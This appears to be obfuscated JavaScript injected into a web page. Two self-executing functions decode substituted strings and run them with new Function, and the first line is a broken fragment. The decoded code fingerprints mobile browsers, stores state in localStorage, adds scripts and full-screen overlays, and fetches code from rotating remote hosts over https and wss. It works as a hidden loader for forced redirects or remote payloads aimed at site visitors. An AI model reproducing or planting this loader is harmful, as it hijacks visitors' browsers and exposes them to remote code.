Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();